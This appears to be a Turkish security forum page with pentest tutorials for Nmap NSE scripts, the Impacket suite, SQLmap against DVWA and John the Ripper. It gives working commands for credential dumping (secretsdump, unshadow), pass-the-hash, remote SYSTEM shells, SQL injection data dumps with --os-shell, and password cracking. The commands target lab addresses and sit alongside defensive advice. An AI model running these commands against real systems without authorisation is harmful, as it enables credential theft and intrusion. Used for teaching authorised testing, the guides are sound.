Bu komut bilinen zafiyet imzalarını dener. Yanlış pozitif oranı yüksektir; her kırmızı satırı "kırıldı" sanmayın. Bulguyu manuel doğrulayın, CVE numarasını NVD'den kontrol edin, sürüm bilgisini -sV ile çaprazlayın.

Çıktıyı saklamak

Kod:
nmap -oA lab-scan-20261017 -sV -p 80,445 --script http-enum,smb-os-discovery 10.10.10.50

-oA üç format üretir: .nmap (metin), .xml, .gnmap. XML'i daha sonra searchsploit veya kendi betiklerinizle işleyebilirsiniz.

Performans ve nezaket

-T3 varsayılan; labda -T4 kabul edilebilir, internette müşteri ağında -T2 daha naziktir.
--max-rate ile saniyedeki paket sayısını sınırlayın.
IDS/IPS olan ortamlarda script taraması alarm üretir; kapsam belgesinde belirtin.

Kendi not defterimden kısa komutlar

Kod:
# SSL/TLS sertifika özeti
nmap -p 443 --script ssl-cert,ssl-enum-ciphers 10.10.10.50
# Redis bilerek açık mı (lab)
nmap -p 6379 --script redis-info 10.10.10.50
# HTTP başlıkları
nmap -p 80 --script http-headers,http-security-headers 10.10.10.50

Sık yaptığım hatalar

Tüm script kategorilerini körlemesine çalıştırmak (dos/brute dahil) — labı bozar, yasal kapsamı aşabilir.
-Pn ile her IP'ye script yağdırmak — firewall ICMP kesiyorsa host discovery'yi ayrı düşünün, ama kör tarama maliyeti yüksektir.
Çıktıyı kaydetmemek — iki gün sonra "o SMB ne demişti?" diye ararsınız.

Kaynaklar

Nmap Network Scanning (kitap) ve resmi NSE dokümantasyonu: nmap.org/nsedoc
Script yardım: nmap --script-help

Sizin favori NSE scriptiniz hangisi? Özellikle AD keşfinde kullandığınız bir kombinasyon varsa yazın.

Script argümanları ve sürüm
Birçok NSE scripti --script-args ile ince ayar alır. http-enum için displayall, smb-os-discovery için ekstra kimlik bilgisi (izinli pentestte) gibi. Script sürümü nmap sürümüyle gelir; Kali rolling'de nmap güncellemesi script davranışını değiştirebilir. Raporunuza nmap --version yazın ki tekrarlanabilir olsun.

Çıktıyı ekibe taşımak
XML'i xsltproc veya kendi Python parser'ınızla Markdown özetine çevirmek, müşteri raporuna ham nmap dump yapıştırmaktan iyidir. gnmap satırları grep ile "open" port listesini hızlı çıkarır:

Kod:
grep '/open/' lab-scan.gnmap

Doğrulama senaryosu
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.

Lab disiplini
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.

Runbook'a taşımak
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.

Ölçüm ve alarm sağlığı
Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.

Kapsam ve izin hatırlatması
Bu adımları change ticket olmadan production'da uygulamayın. Küçük görünen bir audit ayarı bile uygulama uyumluluğunu bozabilir. Önce staging, sonra kontrollü yayılım.

Yedekleme ve geri dönüş
Yılda en az iki kez masabaşı tatbikatı yapın: 'bu kontrol kırılırsa kim fark eder?' sorusunu sorunsuz cevaplayabilmelisiniz. Tatbikat notlarını wiki'ye ekleyin.

Log saklama süresi
Araç çıktısını ekran görüntüsü olarak bırakmak yerine makinece okunur formatta (JSON/CSV) arşivleyin. İki yıl sonraki denetimde arama kolaylaşır.

Yanlış pozitif yönetimi
Yetki ayrımı: bu kontrolü yapılandıran kişi ile alarmı triaj eden kişi mümkünse farklı olsun. Küçük ekiplerde olmasa bile en azından farklı hesap kullanın.

Uygulama notu
Bu rehberdeki komutları olduğu gibi kopyalamadan önce yolları, arayüz adlarını ve IP adreslerini kendi ortamınıza göre değiştirin. Dağıtım farkları (Debian/Ubuntu/RHEL/Windows sunucu) çıktı biçimini değiştirebilir; man sayfası ve resmi dokümantasyon birincil kaynaktır. Bir adım beklediğiniz sonucu vermezse önce yetki (sudo/Administrator), sonra sürüm, en son da yapılandırma dosyası sırasıyla bakın. Değişiklikleri geri almak için snapshot veya yapılandırma yönetimi (Ansible/Git) kullanın; 'elle bir dokundum' geçmişi denetimde kaybolur. Alarm ve log örneklerini ekip kanalında paylaşırken kişisel veri ve iç IP şemasını maskeleyin.
Yasal uyarı: Bu içerik eğitim amaçlıdır. Anlatılanları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız sistemlerde uygulayın. Yetkisiz erişim ve sistemlere müdahale 5237 sayılı TCK'nın 243, 244 ve 245. maddeleri kapsamında suçtur.

100-n03-506b9a.png (Dosya Boyutu: 66.36 KB / İndirme Sayısı: 9)

Impacket Araç Seti: secretsdump, psexec ve smbclient Kullanımı

Sun, 18 Oct 2026 11:14:59 +0300

Selam TurkTeam,

Impacket, ağ protokolleriyle (SMB, MSRPC, NTLM, Kerberos ve daha fazlası) ham düzeyde çalışan Python sınıflarından oluşan bir kütüphanedir. Ama çoğu pentest'çi onu, bu sınıfların üzerine yazılmış hazır betikleriyle (secretsdump, psexec, smbclient, wmiexec...) tanır. Bu araçlar, özellikle Windows/Active Directory ortamlarında kimlik bilgisi toplama ve uzaktan komut çalıştırmanın İsviçre çakısıdır. Bu rehberde Impacket'i kurulumdan temel iş akışına, yalnızca kendi lab ortamınızda uygulamak üzere ele alıyoruz.

Konuda Anlatılacaklar

Impacket nedir, ne işe yarar
Kurulum ve Kali'deki betik isimleri
Kimlik doğrulama söz dizimi (parola ve pass-the-hash)
impacket-smbclient ile paylaşım erişimi
impacket-psexec / wmiexec ile uzaktan komut
impacket-secretsdump ile kimlik bilgisi dökümü
Sonuç, kaynakça ve yasal uyarı

1. Impacket Nedir?
Impacket (SecureAuth/Fortra tarafından sürdürülen açık kaynak proje), ağ protokollerini programatik olarak kullanmayı sağlayan bir Python kütüphanesidir. Pratikte onu güçlü kılan, bu kütüphaneyle yazılmış hazır örnek betiklerdir. Bu betikler bir Windows ağında kimlik doğrulama, dosya erişimi, uzaktan komut çalıştırma ve kimlik bilgisi (hash) çıkarma gibi işleri standartlaştırır. Mavi takım için de değerlidir: saldırganın hangi protokolleri nasıl kullandığını anlamak, tespit kuralı yazmanın temelidir.

2. Kurulum
Kali/Parrot üzerinde Impacket betikleri genellikle hazırdır veya tek paketle gelir:

Kod:
sudo apt update
sudo apt install impacket-scripts python3-impacket

Kali'de betikler impacket- önekiyle çağrılır (örn. impacket-secretsdump). Pip ile kurduğunuzda ise doğrudan secretsdump.py biçiminde olur. Kurulumu doğrulamak için:

Kod:
impacket-smbclient -h | head
# veya pip kurulumunda
secretsdump.py -h | head

3. Kimlik Doğrulama Söz Dizimi
Impacket betiklerinin çoğu ortak bir hedef biçimi kullanır: domain/kullanici:parola@hedef. Çalışma grubu ortamında domain yerine makine/boş bırakılır.

Parola ile:

Kod:
impacket-smbclient ornekdomain/ahmet:'Parola123'@192.168.56.120

Parola sormasını istemek (komut geçmişine yazmamak için):

Kod:
impacket-smbclient ornekdomain/ahmet@192.168.56.120

Pass-the-hash (parola yerine NTLM hash): -hashes LMHASH:NTHASH biçiminde verilir; LM yoksa boş bırakılıp yalnızca NT kullanılır:

Kod:
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee... ornekdomain/ahmet@192.168.56.120

Bu, bir hash ele geçirildiğinde parolayı kırmaya gerek kalmadan kimlik doğrulamayı gösterir; neden hash korumasının kritik olduğunu anlatan iyi bir derstir.

4. impacket-smbclient ile Paylaşım Erişimi
Impacket'in kendi SMB istemcisi, etkileşimli ve betiklenebilir bir arayüz sunar:

Kod:
impacket-smbclient ornekdomain/ahmet:'Parola123'@192.168.56.120

Bağlandıktan sonra komutlarla paylaşımları gezebilirsiniz:

Kod:
# shares        -> paylaşımları listele
# use C$         -> bir paylaşıma geç
# ls             -> içeriği listele
# get gizli.txt  -> dosya indir

Bu araç özellikle yönetici kimliğiyle C$ gibi idari paylaşımlara erişimi ve dosya aktarımını kolaylaştırır.

5. impacket-psexec ve wmiexec ile Uzaktan Komut
psexec, hedefte geçici bir servis oluşturup SYSTEM yetkisiyle etkileşimli kabuk verir (yerel yönetici kimliği gerekir):

Kod:
impacket-psexec ornekdomain/yonetici:'Parola123'@192.168.56.120

Başarılı olursa bir Windows komut istemi açılır; yetkiyi doğrulamak için:

Kod:
C:\> whoami
nt authority\system

psexec servis oluşturduğu için gürültülüdür ve EDR/log tarafında iz bırakır. Daha sessiz bir alternatif wmiexec'tir; WMI üzerinden komut çalıştırır:

Kod:
impacket-wmiexec ornekdomain/yonetici:'Parola123'@192.168.56.120

6. impacket-secretsdump ile Kimlik Bilgisi Dökümü
secretsdump, Windows kimlik sırlarını (SAM yerel hash'leri, LSA sırları ve domain denetleyicisinde NTDS.dit) çıkarır. Uzaktan, yönetici kimliğiyle:

Kod:
impacket-secretsdump ornekdomain/yonetici:'Parola123'@192.168.56.120

Çıktı, kullanıcıların NTLM hash'lerini "kullanici:rid:lmhash:nthash:::" biçiminde listeler. Bu hash'ler pass-the-hash için veya çevrimdışı kırma (John/Hashcat) için kullanılabilir. Çevrimdışı analiz için elinizde SAM ve SYSTEM kovanları varsa:

Kod:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Domain denetleyicisinde DCSync yöntemiyle tüm domain hash'lerinin çekilebilmesi, neden "Domain Admin" yetkisinin tüm ağın anahtarı olduğunu çarpıcı biçimde gösterir.

7. Savunma Perspektifi
Impacket araçları, saldırganın yetkili bir kimlik ele geçirdikten sonra ne kadar hızlı yayılabileceğini gösterir. Savunma için önemli kontroller:

En az ayrıcalık ve yerel yönetici ayrımı: LAPS ile her makineye benzersiz yerel yönetici parolası.
Kimlik koruma: Credential Guard, LSASS koruması ve güçlü parola politikaları pass-the-hash etkisini sınırlar.
Tespit: psexec'in servis oluşturması (Event ID 7045), anormal WMI/SMB kullanımı ve DCSync replikasyon istekleri SIEM'de izlenmelidir.
Ağ segmentasyonu: İdari paylaşımlara (C$, ADMIN$) erişimi kısıtlamak yanal hareketi zorlaştırır.

7.1. Impacket'i Bir İş Akışında Düşünmek
Impacket betiklerini tek tek öğrenmek kolaydır; asıl beceri, onları bir saldırı zincirinin mantıklı adımlarına yerleştirmektir. Tipik bir iç ağ senaryosunda sıralama şöyle işler: önce keşif ve bir kimlik (kullanıcı adı + parola ya da hash) elde edersiniz; ardından impacket-smbclient ile bu kimliğin hangi paylaşımlara eriştiğini görürsünüz; yeterli yetki varsa impacket-psexec veya impacket-wmiexec ile uzaktan komut çalıştırıp dayanak noktası kurarsınız; en sonunda impacket-secretsdump ile daha fazla kimlik bilgisi toplar ve bir sonraki makineye yanal hareket edersiniz. Bu döngü (kimlik topla, erişimi genişlet, yeni kimlik topla) modern iç ağ testlerinin özüdür.

Bu araçların en öğretici yanı, parolanın kendisine değil, kimlik doğrulama malzemesine (hash, bilet) dayanmasıdır. Pass-the-hash ile bir NTLM hash'i, parola hiç bilinmeden kimlik doğrulamak için yeterlidir; bu da neden hash'lerin en az parolalar kadar hassas olduğunu gösterir. secretsdump bir makineden hash topladığında, aynı yerel yönetici parolasının birçok makinede tekrar kullanıldığı ortamlarda tek bir hash tüm ağı açabilir. İşte bu yüzden LAPS gibi makine başına benzersiz parola çözümleri kritik bir savunmadır.

Pratik bir uyarı: bu betikler varsayılan yapılandırmalarıyla gürültülüdür ve çoğu kurumsal EDR/SIEM bunları tanır. Bir denetimde amaç sessizce yıkmak değil, savunmanın bu hareketleri görüp göremediğini test etmektir. Bu yüzden her adımı kaydedin, hangi aracın hangi iz bıraktığını not edin ve raporunuzda hem bulduğunuz yanal hareket yollarını hem de tespit boşluklarını birlikte sunun. Böylece Impacket, yalnızca bir saldırı aracı değil, aynı zamanda savunmayı ölçen bir mihenk taşı hâline gelir.

Sonuç
Impacket, Windows/AD ortamlarında kimlik doğrulama, dosya erişimi, uzaktan komut ve kimlik bilgisi dökümünü tek tutarlı çatı altında toplar. secretsdump, psexec ve smbclient üçlüsünü anlamak, hem kırmızı takımda yanal hareketi hem de mavi takımda tespiti kavramak için temeldir. Tüm bu araçları yalnızca kendi lab'ınızda veya yazılı izinli testlerde kullanın.

Kaynakça

Impacket Resmi Deposu - https://github.com/fortra/impacket
Impacket Örnek Betik Belgeleri - https://github.com/fortra/impacket/tree/master/examples
Kali Tools: impacket-scripts - https://www.kali.org/tools/impacket-scripts/
MITRE ATT&CK - OS Credential Dumping (T1003) - https://attack.mitre.org/techniques/T1003/
Microsoft: LAPS - https://learn.microsoft.com/windows-serv...s-overview

Yasal Uyarı

Alıntı:Impacket araçları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız ağlarda kullanılmalıdır. İzinsiz kimlik bilgisi dökümü ve uzaktan komut çalıştırma Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).

000-team-new-489840.png (Dosya Boyutu: 62.64 KB / İndirme Sayısı: 7)

SQLMap ile SQL Injection Otomasyonu: DVWA Üzerinde Uygulamalı

Sun, 18 Oct 2026 11:07:31 +0300

Merhaba TurkTeam,

SQL Injection (SQLi), web uygulamalarının en eski ve en etkili zafiyetlerinden biridir. Elle sömürmek zahmetli olabilir; işte SQLmap tam burada devreye girer: SQL enjeksiyon açıklarını otomatik tespit eden ve sömüren güçlü, açık kaynaklı bir araçtır. Bu rehberde SQLmap'i, yasal ve güvenli bir lab olan DVWA (Damn Vulnerable Web Application) üzerinde adım adım kullanacağız. Her şey yalnızca kendi lab ortamınız içindir.

Konuda Anlatılacaklar

SQL Injection ve SQLmap nedir
Lab kurulumu: DVWA ve güvenlik seviyesi
Oturum/çerez ile kimlikli tarama mantığı
SQLmap temel parametre referansı
Uygulamalı: veritabanı, tablo ve veri çıkarımı
İleri seviye: risk/level, --os-shell, tamper
Sonuç, kaynakça ve yasal uyarı

1. SQLi ve SQLmap Nedir?
SQL Injection, kullanıcıdan gelen girdinin doğrudan bir SQL sorgusuna karıştırılmasıyla, saldırganın sorgunun mantığını değiştirebilmesidir. Sonuç; yetkisiz veri okuma, kimlik doğrulama atlatma, hatta bazı durumlarda sunucuda komut çalıştırmaya kadar gidebilir.

SQLmap, bu açıkları otomatik keşfeden ve sömüren bir araçtır. Boolean-based, error-based, time-based blind, UNION-based gibi birçok enjeksiyon tekniğini destekler; MySQL, PostgreSQL, MSSQL, Oracle gibi pek çok veritabanını tanır ve veri çıkarımını otomatikleştirir.

2. Lab Kurulumu: DVWA
DVWA, kasıtlı olarak zafiyetli bir PHP/MySQL uygulamasıdır ve öğrenmek için idealdir. En kolay yol Docker ile çalıştırmaktır:

Kod:
sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa

Tarayıcıdan http://localhost adresine gidin, varsayılan admin/password ile giriş yapın ve "Create / Reset Database" butonuna basın. Ardından DVWA Security sayfasından güvenlik seviyesini önce Low yapın.

Hedefimiz "SQL Injection" sayfasıdır; URL şu kalıptadır:

Kod:
http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit

3. Oturum/Çerez Mantığı
DVWA giriş gerektirir; SQLmap'in de aynı oturumu kullanması için çerezi vermeliyiz. Tarayıcının geliştirici araçlarından (Application > Cookies) PHPSESSID ve security çerezlerini kopyalayın. Bunları --cookie ile SQLmap'e aktaracağız.

4. SQLmap Parametre Referansı
-u - Hedef URL (enjekte edilecek parametreyi içerir):

Kod:
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit"

--cookie - Kimlikli istek için oturum çerezi:

Kod:
--cookie="PHPSESSID=abcdef123; security=low"

-p - Hangi parametrenin test edileceği:

Kod:
-p id

--dbs - Erişilebilir veritabanlarını listele:

Kod:
--dbs

-D / --tables - Bir veritabanının tablolarını listele:

Kod:
-D dvwa --tables

-T / --columns - Bir tablonun sütunlarını listele:

Kod:
-D dvwa -T users --columns

--dump - Verileri çıkar (döküm al):

Kod:
-D dvwa -T users --dump

--batch - Soruları varsayılanla otomatik yanıtla (etkileşimsiz):

Kod:
--batch

5. Uygulamalı: Veritabanından Veri Çıkarma
Adım 1 - Enjeksiyon tespiti. Önce parametrenin zafiyetli olup olmadığını doğrulayalım:

Kod:
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abcdef123; security=low" -p id --batch

SQLmap zafiyeti bulunca "parameter 'id' is vulnerable" ve kullanılan tekniği (örn. boolean-based blind, UNION query) ile birlikte arka plandaki veritabanını (örn. MySQL) raporlar.

Adım 2 - Veritabanlarını listeleme:

Kod:
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abcdef123; security=low" --dbs --batch

Çıktıda "dvwa", "information_schema" gibi veritabanları listelenir.

Adım 3 - dvwa veritabanının tabloları:

Kod:
sqlmap -u "..." --cookie="..." -D dvwa --tables --batch

"users" ve "guestbook" tabloları görünür.

Adım 4 - users tablosunu dökme:

Kod:
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump --batch

SQLmap kullanıcı kayıtlarını bir tabloda gösterir. Parola sütunu hash'li ise SQLmap hash'i tanıyıp sözlük saldırısı önerir; kabul ederseniz dahili wordlist ile kırmaya çalışır ve çözülen parolaları yanında gösterir.

6. İleri Seviye: Level, Risk, Shell ve Tamper
--level ve --risk: Daha fazla test vektörü ve daha agresif teknikler için (1-5 ve 1-3); yüksek değerler daha kapsamlı ama daha gürültülüdür:

Kod:
sqlmap -u "..." --cookie="..." --level=5 --risk=3 --batch

Higher security seviyeleri: DVWA'da güvenlik "Medium" (POST + sayısal) veya "High" olduğunda, isteği -r ile bir dosyadan (Burp'tan kaydedilen ham istek) besleyebilir veya --data ile POST gövdesi verebilirsiniz:

Kod:
sqlmap -r istek.txt -p id --batch

--os-shell: Uygun koşullarda (dosya yazma yetkisi, yol bilgisi) işletim sistemi kabuğu dener. Bu, yüksek etkili bir adımdır ve yalnızca kendi lab'ınızda denenmelidir:

Kod:
sqlmap -u "..." --cookie="..." --os-shell --batch

--tamper: Basit WAF/filtre atlatma için yük dönüştürme betikleri (yalnızca yetkili testlerde):

Kod:
sqlmap -u "..." --tamper=space2comment --batch

7. Savunma Tarafı
SQLmap'i öğrenmenin asıl amacı savunmayı güçlendirmektir. SQL Injection'a karşı temel önlemler:

Parametreli sorgular / prepared statements: Girdiyi koddan ayırır; en etkili çözümdür.
En az ayrıcalıklı DB kullanıcısı: Uygulama hesabı yalnızca ihtiyaç duyduğu tablolara erişsin.
Girdi doğrulama ve çıktı kodlama: Beklenen tipi zorlayın.
WAF: Ek katman olarak faydalıdır ama tek başına yeterli değildir.

7.1. SQLmap Çıktısını Doğru Okumak
SQLmap güçlü bir araç olsa da, çıktısını doğru yorumlamak aracı çalıştırmak kadar önemlidir. Araç bir parametreyi test ederken hangi tekniklerin işe yaradığını açıkça raporlar: boolean-based blind, error-based, time-based blind ve UNION query. Bu tekniklerin ne anlama geldiğini bilmek, bulgunun gerçekliğini ve etkisini değerlendirmenize yardımcı olur. Örneğin time-based blind, uygulamanın hata vermeden sessizce zafiyetli olduğunu gösterir ve genellikle en yavaş ama en güvenilir yöntemdir; UNION query ise veriyi tek istekte büyük miktarda çekebildiği için en hızlısıdır.

SQLmap sonuçlarını bir oturum dosyasında önbelleğe alır; aynı hedefi tekrar çalıştırdığınızda tespit aşamasını atlayıp doğrudan devam eder. Bu hız kazandırır, ancak hedef değiştiyse yanıltıcı olabilir; temiz bir test için --flush-session kullanarak önbelleği temizleyebilirsiniz. Ayrıca aracın ürettiği tüm istek ve yanıtları ve çıkarılan verileri bir çıktı dizininde saklar; raporlama yaparken bu çıktı dizini delil zincirinizin bir parçası olur.

Gerçek bir yetkili testte gürültü ve etki yönetimi kritiktir. Yüksek --level ve --risk değerleri çok daha fazla istek üretir ve üretim sistemlerinde performans sorunlarına yol açabilir; bu yüzden kapsamınızı ve müşterinizle anlaştığınız sınırları her zaman gözetin. --dump ile koca bir tabloyu çekmeden önce, gerçekten o veriye ihtiyacınız olup olmadığını düşünün; çoğu zaman zafiyetin varlığını ve birkaç örnek kaydı göstermek, tüm veritabanını indirmekten daha profesyonel ve daha az risklidir. Amaç, bulguyu kanıtlamak ve kapatılmasını sağlamaktır; veri hırsızlığı değil.

Sonuç
SQLmap, SQL Injection tespit ve sömürüsünü otomatikleştiren son derece güçlü bir araçtır; DVWA ise bunu güvenle öğrenmek için ideal bir sahadır. Önce Low seviyede temel akışı (tespit > dbs > tables > columns > dump) oturtun, ardından level/risk ve farklı güvenlik seviyeleriyle derinleşin. Unutmayın: amaç yıkmak değil, zafiyeti anlayıp parametreli sorgularla kapatmaktır.

Kaynakça

SQLmap Resmi Sitesi ve Wiki - https://sqlmap.org
SQLmap Kullanım Belgeleri - https://github.com/sqlmapproject/sqlmap/wiki/Usage
DVWA Resmi Deposu - https://github.com/digininja/DVWA
OWASP SQL Injection - https://owasp.org/www-community/attacks/SQL_Injection
OWASP SQL Injection Prevention Cheat Sheet - https://cheatsheetseries.owasp.org/cheat...Sheet.html

Yasal Uyarı

Alıntı:SQLmap yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde kullanılmalıdır. İzinsiz SQL enjeksiyonu ve veri erişimi Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur. DVWA'yı daima yerel/izole ortamda çalıştırın.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).

000-team-new-63b705.png (Dosya Boyutu: 68.06 KB / İndirme Sayısı: 11)

John the Ripper ile Parola Kırma: Kurulum, Modlar ve Uygulamalı Örnekler

Sat, 17 Oct 2026 17:08:42 +0300

Merhaba TurkTeam,

John the Ripper (JtR), parola güvenliğini denetlemek için kullanılan, açık kaynaklı ve çok eski köklere sahip bir parola kırma aracıdır. Bu rehberde community sürümü "jumbo" üzerinden kurulumu, çalışma modlarını (single, wordlist, incremental), hash biçimlerini ve en çok kullanılan yardımcı araçları (unshadow, zip2john gibi) uygulamalı olarak ele alıyoruz. Tüm örnekler yalnızca kendi hesaplarınız ve lab verileriniz içindir.

Konuda Anlatılacaklar

John the Ripper nedir, nasıl çalışır
Kurulum: paket deposu ve jumbo sürüm
Hash biçimi tespiti ve *2john yardımcıları
Çalışma modları: single, wordlist, incremental
Uygulamalı: Linux shadow parolası kırma
Kural (rules), maske ve ilerleme yönetimi
Sonuç, kaynakça ve yasal uyarı

1. John the Ripper Nedir, Nasıl Çalışır?
Parolalar sistemlerde açık metin değil, geri döndürülemez bir hash olarak saklanır. JtR, bir aday parolayı aynı algoritmayla hashleyip saklanan hash ile karşılaştırarak çalışır; eşleşirse parola bulunmuş olur. Yani JtR hash'i "çözmez", doğru adayı tahmin edip doğrular. Bu yüzden başarı; wordlist kalitesine, kurallara ve hash algoritmasının yavaşlığına bağlıdır.

Jumbo sürümü (openwall/john), topluluk tarafından yüzlerce hash türü, OpenCL/GPU desteği ve zengin yardımcı araçlarla genişletilmiş versiyondur ve pentest için önerilen sürümdür.

2. Kurulum
Kali/Parrot üzerinde jumbo sürümü genelde "john" paketiyle gelir:

Kod:
sudo apt update
sudo apt install john

Sürümü ve derlenmiş özellikleri doğrulayın:

Kod:
john --version
john --list=build-info

Desteklenen hash biçimlerini listelemek için:

Kod:
john --list=formats | tr ',' '\n' | head

3. Hash Biçimi ve *2john Yardımcıları
JtR, pek çok dosya türünü kırılabilir hash biçimine çeviren yardımcı betikler içerir. Bunlar genelde /usr/share/john/ veya /usr/sbin altında bulunur.

unshadow - /etc/passwd ve /etc/shadow dosyalarını JtR'nin anlayacağı tek dosyada birleştirir:

Kod:
sudo unshadow /etc/passwd /etc/shadow > hashes.txt

zip2john / rar2john - Parolalı arşivlerin hash'ini çıkarır:

Kod:
zip2john gizli.zip > zip.hash

ssh2john - Parolalı özel anahtarın hash'ini çıkarır:

Kod:
ssh2john id_rsa > key.hash

Bir hash'in türünden emin değilseniz, biçim tahmini için önce incelenmelidir; JtR çoğu zaman biçimi otomatik tanır, ancak --format ile zorlayabilirsiniz:

Kod:
john --format=sha512crypt hashes.txt

4. Çalışma Modları
single - Kullanıcı adı, GECOS alanı gibi bilgilerden türetilen akıllı tahminler; hızlı ilk geçiş için idealdir:

Kod:
john --single hashes.txt

wordlist - Bir kelime listesi üzerinden deneme; isteğe bağlı kurallarla güçlenir:

Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

--rules - Kelimeleri dönüştürerek (büyük harf, sona rakam ekleme vb.) varyasyon üretir:

Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt

incremental - Karakter uzayını istatistiksel sırayla deneyen brute-force modu (uzun sürebilir):

Kod:
john --incremental hashes.txt

5. Uygulamalı: Linux Shadow Parolası Kırma
Aşağıdaki akışı yalnızca KENDİ test makinenizde deneyin.

Adım 1 - Test kullanıcısı oluşturun ve basit bir parola verin (lab):

Kod:
sudo useradd -m testkullanici
echo 'testkullanici:password123' | sudo chpasswd

Adım 2 - Hash'leri birleştirin:

Kod:
sudo unshadow /etc/passwd /etc/shadow > hashes.txt

Çıktı satırı şuna benzer; $6$ öneki parolanın sha512crypt ile saklandığını gösterir:

Kod:
testkullanici:$6$xyz...$abcdef...:1002:1002::/home/testkullanici:/bin/bash

Adım 3 - rockyou ile kırma:
rockyou.txt Kali'de genelde sıkıştırılmıştır; önce açın:

Kod:
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz 2>/dev/null
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

JtR parolayı bulunca şuna benzer bir satır yazar ve kırılan kayıtları john.pot dosyasına ekler:

Kod:
password123      (testkullanici)

Adım 4 - Sonuçları görüntüleme:
Kırılmış parolaları tekrar çalıştırmadan görmek için:

Kod:
john --show hashes.txt

Bu komut "testkullanici:password123" gibi çözülmüş kayıtları listeler.

6. İleri Seviye: Kurallar, Maske ve İlerleme
Durum takibi: JtR çalışırken herhangi bir tuşa basınca ilerlemeyi gösterir. Oturum kaydetme ve devam ettirme:

Kod:
john --session=denetim --wordlist=rockyou.txt hashes.txt
john --restore=denetim

Mask modu: Parola kalıbını biliyorsanız (örn. 6 küçük harf + 2 rakam) hedefli brute-force çok hızlanır:

Kod:
john --mask='?l?l?l?l?l?l?d?d' --min-length=8 hashes.txt

Burada ?l küçük harfi, ?d rakamı temsil eder.

Özel kural seti: /etc/john/john.conf içine kendi kurallarınızı ekleyip --rules=KuralAdi ile çağırabilirsiniz. Kurumsal denetimlerde parola politikasına uygun özel kurallar yazmak, gerçekçi sonuç verir.

Performans: Yavaş hash'lerde (bcrypt, sha512crypt) CPU hızı sınırlayıcıdır; büyük kampanyalar için GPU desteği olan Hashcat'i değerlendirin. JtR'nin güçlü yanı esnek kural motoru ve geniş biçim desteğidir.

6.1. Hash Türleri ve Pratik Notlar
Parola denetiminde karşılaşacağınız hash türlerini tanımak, doğru stratejiyi seçmenin yarısıdır. Modern Linux dağıtımları parolaları yavaş ve tuzlu (salted) algoritmalarla saklar: MD5-crypt, , ve öneklerini gösterir. Yavaş algoritmalar bir aday parolayı doğrulamayı kasıtlı olarak pahalı kılar; bu yüzden milyonlarca deneme saniyeler değil dakikalar-saatler alır. Bu da neden güçlü ve uzun parolaların kaba kuvvete karşı etkili olduğunu açıklar.

Windows ortamlarında NTLM hash'leri tuzsuzdur ve hızlı kırılır; bu yüzden kurumsal denetimlerde özellikle önemlidir. JtR bu biçimleri de destekler, ancak büyük NTLM koleksiyonlarında GPU hızı için Hashcat sıklıkla tercih edilir. İki aracı rakip değil tamamlayıcı görün: JtR'nin kural motoru ve biçim çeşitliliği keşif ve küçük setlerde, Hashcat'in GPU gücü büyük kampanyalarda parlar.

Denetim raporunuzda yalnızca "kaç parola kırıldı" demek yetmez; kırılan parolaların uzunluk ve karmaşıklık dağılımını, politikaya uymayanları ve yeniden kullanılan parolaları da belgeleyin. Asıl değer, bulguların düzeltici öneriye dönüşmesindedir: minimum uzunluk artırma, yaygın parolaların engellenmesi (deny list) ve çok faktörlü kimlik doğrulama.

Son olarak, john.pot dosyasının önceki sonuçları sakladığını unutmayın; yeni bir denetime temiz başlamak isterseniz bu dosyayı yedekleyip temizleyin. Aksi halde JtR, zaten kırılmış hash'leri atlayıp sonuçları birleştirir ve ilerleme olduğundan daha hızlı görünebilir.

Sonuç
John the Ripper, parola denetiminde hâlâ en pratik araçlardan biridir. Doğru yaklaşım; önce --single, sonra kurallı wordlist, en son maske/incremental sırasıyla ilerlemektir. Amaç saldırmak değil, zayıf parolaları ortaya koyup düzeltmektir. Bu yüzden denetim sonuçlarını mutlaka güçlü parola politikasıyla eşleştirin.

Kaynakça

John the Ripper Resmi Sitesi (Openwall) - https://www.openwall.com/john/
JtR Jumbo Deposu ve Wiki - https://github.com/openwall/john
Openwall JtR Dokümanları - https://www.openwall.com/john/doc/
Kali Tools: john - https://www.kali.org/tools/john/
man john / man unshadow (yerel man sayfaları)

Yasal Uyarı

Alıntı:Parola kırma yalnızca kendi hesaplarınızda veya yazılı yetki verilmiş denetimlerde yapılmalıdır. Başkasına ait parolaları izinsiz kırmak Türk Ceza Kanunu 243-245. maddeleri kapsamında suçtur.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).

